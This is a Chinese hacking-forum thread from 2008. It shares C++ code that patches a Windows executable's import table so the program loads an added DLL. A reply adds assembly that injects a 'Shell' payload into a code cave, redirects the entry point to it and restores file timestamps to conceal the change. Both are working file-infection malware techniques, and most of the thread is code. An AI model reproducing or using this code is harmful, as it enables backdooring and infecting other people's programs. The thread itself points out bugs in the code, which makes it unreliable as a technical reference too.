[原创]发一段感染引入表的vc代码
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:[E.S.T] 认真的雪
今天整理硬盘滴时候看到滴,很久以前滴东西,网上貌似找不到vc滴,发出来
嘿嘿,米什么技术,高手跳过...[code]
#include <stdio.h>
#include <windows.h>
DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)
{
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
IMAGE_SECTION_HEADER *sectionHeader;
int NumOfSections;
dosHeader=(IMAGE_DOS_HEADER*)lpBase;
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
NumOfSections=ntHeader->FileHeader.NumberOfSections;
for (int i=0;i<NumOfSections;i++)
{
sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
{
DWORD AposRAV=VirtualAddress-sectionHeader->VirtualAddress;
DWORD Offset=sectionHeader->PointerToRawData+AposRAV;
return Offset;
}
}
return 0;
}
int sectionNum(LPVOID lpBase,DWORD VirtualAddress)
{
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
IMAGE_SECTION_HEADER *sectionHeader;
int NumOfSections;
dosHeader=(IMAGE_DOS_HEADER*)lpBase;
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
NumOfSections=ntHeader->FileHeader.NumberOfSections;
for (int i=0;i<NumOfSections;i++)
{
sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
{
return i;
}
}
return -1;
}
int main(int argc, char* argv[])
{
HANDLE hFile=CreateFile(argv[1],GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Failed\n");
return 0;
}
HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
if(hMap==INVALID_HANDLE_VALUE)
{
printf("CreateFileMapping Failed\n");
return 0;
}
LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
if(lpBase==NULL)
{
printf("MapViewOfFile Failed\n");
return 0;
}
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
dosHeader=(IMAGE_DOS_HEADER*)lpBase;
if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{
printf("This is not a windows file\n");
return 0;
}
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
{
printf("This is not a win32 file\n");
return 0;
}
int numOfSections=ntHeader->FileHeader.NumberOfSections;
int ncout=sectionNum(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if(ncout==-1)
{
printf("get section failed\n");
return 0;
}
IMAGE_SECTION_HEADER *sectionHeader;
sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+ncout;
int nullsize=sectionHeader->SizeOfRawData-sectionHeader->Misc.VirtualSize;
printf("%d\n",nullsize);
IMAGE_IMPORT_DESCRIPTOR *ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
int i=0;
while(ImportDec->FirstThunk)
{
i++;
ImportDec++;
}
if(i*20+20*3+8+8>nullsize)
{
printf("file space is not enough\n");
return 0;
}
IMAGE_IMPORT_DESCRIPTOR *newImport;
newImport=(IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)lpBase+sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
printf("%x\n",sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
printf("%d\n",sizeof(IMAGE_IMPORT_DESCRIPTOR));
ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
i=0;
while(ImportDec->FirstThunk)
{
*newImport=*ImportDec;
i++;
ImportDec++;
newImport++;
}
IMAGE_IMPORT_DESCRIPTOR myImport;
char *name="my.dll";
myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
myImport.TimeDateStamp=0;
myImport.ForwarderChain=0;
myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));
*newImport=myImport;
newImport++;
memset(newImport,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
newImport++;
memcpy((char*)newImport,name,strlen(name)+1);
DWORD newThunk;
newThunk=(DWORD)newImport+20;
*(DWORD*)newThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20+8);
memset((void*)(newThunk+4),0,4);
newThunk=newThunk+8;
WORD hint=0x00;
*(WORD*)newThunk=hint;
newThunk=newThunk+sizeof(WORD);
char *funname="MyFun";
memcpy((char*)newThunk,funname,strlen(funname)+2);
ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress;
FlushViewOfFile(lpBase,0);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
[/code]
[[i] 本帖最后由 认真的雪 于 2008-4-19 15:45 编辑 [/i]] 寻找空隙,添加代码.比你的直接了当简单啊
中间删了两句
proc _PatchFile
locals
@hMem rd 1
@dwFileSize rd 1
@dwPeHdr rd 1
@stFileTime FILETIME
endl
callw CreateFile,strFile,GENERIC_WRITE or GENERIC_READ,\
FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
xchg eax,ebx
callw GetFileTime,ebx,edx,edx,addr @stFileTime
callw GetFileSize,ebx,NULL
mov [@dwFileSize],eax
callw GlobalAlloc,GMEM_ZEROINIT,edi
mov [@hMem],eax
callw ReadFile,ebx,esi,edi,esp,NULL,eax
pop eax
add esi,[esi+$3C] ;esi->PeHdr
mov [@dwPeHdr],esi
mov esi,[esi+0x10C]
add esi,[@hMem]
.reloop:
xor ecx,ecx
.loop:
lodsb
inc ecx
cmp ecx,Shell.size+1+4+4
je .loopover
test al,al
je .loop
jmp .reloop
.loopover:
sub esi,ecx
add esi,4
mov ecx,esi
call .Offset2RVA
mov edi,[@dwPeHdr]
mov ecx,[edi+0x28]
mov [edi+0x28],eax
sub ecx,eax
sub ecx,5+Shell.jmp-Shell
mov [Shell.jmp+1],ecx
mov ecx,Shell.size
mov edi,Shell
xchg esi,edi
rep movsb
push eax
mov ecx,esp
callw CheckSumMappedFile,[@hMem],[@dwFileSize],ecx,ecx
mov edi,[@dwPeHdr]
pop dword[edi+0x58]
xor edi,edi
callw SetFilePointer,ebx,edi,edi,edi
mov ecx,esp
callw WriteFile,ebx,[@hMem],[@dwFileSize],ecx,edi,eax
callw SetFileTime,ebx,edx,edx,addr @stFileTime
callw CloseHandle,ebx
ret
;-------------------------------
.Offset2RVA: ;arg = ecx
pushad
sub ecx,[@hMem]
mov edx,[@dwPeHdr]
add edx,0xF8-0x28
@@:
add edx,0x28
mov eax,[edx+0x14]
cmp ecx,eax
jb @B
add eax,[edx+0x10]
cmp ecx,eax
ja @B
mov eax,[edx+0xC]
sub eax,[edx+0x14]
add eax,ecx
mov dword[esp+4*7],eax
popad
retn
endp :sweat: 人家都说了是VC的代码,你那是汇编,“道不同不相为谋”。:lol: :sweat: 怎么突然冒出来了,qq上好久米见你了哟..... 以前用delphi写过一份,现在学c++,指针真难 [quote]原帖由 [i]洋洋洒洒[/i] 于 2008-3-27 20:55 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=140550&ptid=32677][img]images/common/back.gif[/img][/url]
寻找空隙,添加代码.比你的直接了当简单啊
中间删了两句
proc _PatchFile
locals
@hMem rd 1
@dwFileSize rd 1
@dwPeHdr rd 1
@stFileTime FILETIME
endl
callw CreateFile,strFile,GENERIC_WRITE ... [/quote]
fasm的代码很少见哦~见到就要顶~哈哈~代码优化的也不错哦~比起某些只会写invoke XXX的人强太多了~
fasmlib很王道~大家都很喜欢。nasm 没什么为大家省心的东西
fasm现在发布UNIX版本了很好很王道最近和isOk捣鼓fasm。
最近吧所有代码都重新用fasm写。。。fasm写shellcode也很王道。
不过我还是喜欢用tasm32编译代码。。。
小雪这个代码BUG太多。。。导入表中没有过多的空间让你添加一个新的数组空间的。。。
至少要4×5个地址。。。
[code]
import
dd 0
dd 0
dd -1
dd dll001+RVADIFF
dd api001+RVADIFF
dd 0
dd 0
dd -1
dd dll002+RVADIFF
dd api002+RVADIFF
dd 0
dd 0
dd -1
dd dll003+RVADIFF
dd api003+RVADIFF
times 5 dd 0 ;NULL DLL ENTRY
import_end:
[code]
你需要添加的话需要有一个固定的空间。没有空间的话就只能自己去创造了
1.添加一个节
2.扩展最后一个节
3.寻找空隙(一般未必有这么多空隙。。。未初始化数据段现在都被rdata代替了。
dat中未必有足够的空间。其实空间之需要存储。导入表结构大小就可以)
睡觉睡觉~~
[[i] 本帖最后由 Anskya 于 2008-3-31 00:23 编辑 [/i]] [quote]原帖由 [i]Anskya[/i] 于 2008-3-31 00:09 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=140675&ptid=32677][img]images/common/back.gif[/img][/url]
fasm的代码很少见哦~见到就要顶~哈哈~代码优化的也不错哦~比起某些只会写invoke XXX的人强太多了~
fasmlib很王道~大家都很喜欢。nasm 没什么为大家省心的东西
fasm现在发布UNIX版本了很好很王道最近和isOk捣鼓fasm。
最 ... [/quote]
小零一定米认真看偶滴代码,:cry: 不是在现有引入表结构之后添加一个新滴引入表结构滴,而是把原先的的引入表写到引入表所在节的空余空间上,再加上新滴引入表结构滴,一半来说这个长度是足够滴,不是前面还做了长度大小的判断吗....加一个新节文件大小改变了,会比较明显哟,所以当时就这么写了....貌似代码是比较乱,见谅了,嘿嘿.....
这点地方不明白
if(numOfSections*20+20*3+8+8>nullsize){
printf("file space is not enough\n");
return 0;
不知道numOfSections*20+20*3+8+8其中的数字是怎么来的
希望大牛们能给指点一下
回复 9楼 450592 的帖子
我读了下代码,你问的其实是我代码的一个错误,呵呵.....也不知道当时怎么想的....又当了会髓男....[s:283][code] int i=0;while(ImportDec->FirstThunk)
{
i++;
ImportDec++;
}
if(i*20+20*3+8+8>nullsize)
{
printf("file space is not enough\n");
return 0;
}
[/code]应该这样,判断导入表所在节的末尾的剩余空间,是否足够写入所有的导入表。。。
[[i] 本帖最后由 认真的雪 于 2008-4-19 15:53 编辑 [/i]]
可能是我的问题没有说清吧
我对于这里是不明白的,i*20+20*3+8+8 这里20是IMAGE_IMPORT_DESCRIPTOR结构的大小吧 i*20应该是总的导入表的大小吧,可为什么后面还要+20*3+8+8是什么意思呢?为什么要这么做呢?按不明白?:cry:希望大牛在这里给俺讲解一下?按时初学者:sad:
回复 11楼 450592 的帖子
i*20是原始导入表的大小。。。那么后面的20*3+8+8就是my.dll所对应的IMAGE_IMPORT_DESCRIPTOR结构和这个结构中的成员所指向的数据的大小。。。。
这里还要大牛给详细的解释一下啊
myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);//这里能不能给俺详细的解试一下啊?看到这里就乱了myImport.TimeDateStamp=0;
myImport.ForwarderChain=0;
myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));
回复 13楼 450592 的帖子
[attach]11612[/attach]画了个图比较能说明问题,嘿嘿.....
其实还是有很多空间浪费的,可以进一步的让写入的信息更加紧凑...:lol: 代码写得不是很精练,还是需要修改下,执行得效率会更高 if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
请问代码中这个的作用是什么呢? myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
和
myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
为什么一个用RVA一个用文件偏移呢?sectionHeader->PointerToRawData 这个不应该也用
sectionHeader->VirtualAddress么?
还有i*20+20*3+8+8 后面的+8+8是啥意思啊?
[[i] 本帖最后由 2489215 于 2008-4-25 20:47 编辑 [/i]]
回复 16楼 2489215 的帖子
这个是判断参数rva是否落在某个节之内,用参数rva和节的起始rva和节结束的rva做一个比较呵呵,我也是一个小菜鸟,希望高手指点
页:
[1]